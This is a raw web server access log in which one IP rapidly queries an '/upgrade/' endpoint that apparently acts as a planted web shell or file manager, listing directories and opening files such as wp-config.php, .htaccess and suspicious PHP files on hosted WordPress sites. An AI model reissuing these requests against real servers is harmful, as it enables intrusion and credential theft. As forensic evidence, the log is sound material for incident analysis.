45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 8285 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 8612 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 20903 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 11829 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 11434 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 25684 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 8315 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Flog-seed HTTP/1.1" 200 6432 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 9443 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 9654 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Fcatalog-build HTTP/1.1" 200 6392 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 9614 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:41 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F HTTP/1.1" 200 19090 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 5798 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 9161 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 8676 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 16445 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 19160 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw&location=%2F HTTP/1.1" 200 7870 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F.well-known HTTP/1.1" 200 6058 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 6606 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 10684 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8985 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 13304 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F&option=file HTTP/1.1" 200 8366 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 52696 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 10306 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 9657 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:42 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 6615 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 26126 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 9484 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 16093 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7972 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 8370 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 8630 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 10178 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F&option=folder HTTP/1.1" 200 8368 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F&option=dir HTTP/1.1" 200 8367 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 20961 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 11693 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 8356 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 6397 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:43 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 10661 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 11405 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5798 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 6477 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:44 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 9481 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
